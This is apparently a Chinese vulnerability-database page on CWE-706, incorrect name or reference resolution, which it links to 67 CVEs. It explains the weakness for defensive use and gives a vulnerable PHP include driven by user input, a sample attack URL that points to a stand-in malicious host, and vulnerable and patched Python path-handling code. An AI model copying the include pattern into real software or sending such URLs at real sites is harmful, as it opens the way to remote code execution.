CWE-706 使用不正确的解析名称或索引 类弱点 67 条 CVE 漏洞汇总,含 AI 中文分析。
CWE-706属于引用解析错误漏洞,指程序使用的名称或引用未能正确解析到预期资源,导致访问了控制范围外的对象。攻击者通常通过操纵输入或环境变量,诱导系统引用恶意资源以执行未授权操作或窃取数据。开发者应严格验证输入,使用白名单机制限制可访问的资源范围,并确保引用解析过程在受控环境中进行,从而防止意外指向外部资源。
$dir = $_GET['module_name']; include($dir . "/function.php");
victim.php?module_name=http://malicious.example.com
import os import sys def main(): filename = sys.argv[1] path = os.path.join(os.getcwd(), filename) try: with open(path, 'r') as f: file_data = f.read() except FileNotFoundError as e: print("Error - file not found") main()
import os import sys def main(): filename = sys.argv[1] path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"): try: with open(path, 'r') as f: file_data = f.read() except FileNotFoundError as e: print("Error - file not found") main()
CWE-706(使用不正确的解析名称或索引) 是常见的弱点类别,本平台收录该类弱点关联的 67 条 CVE 漏洞。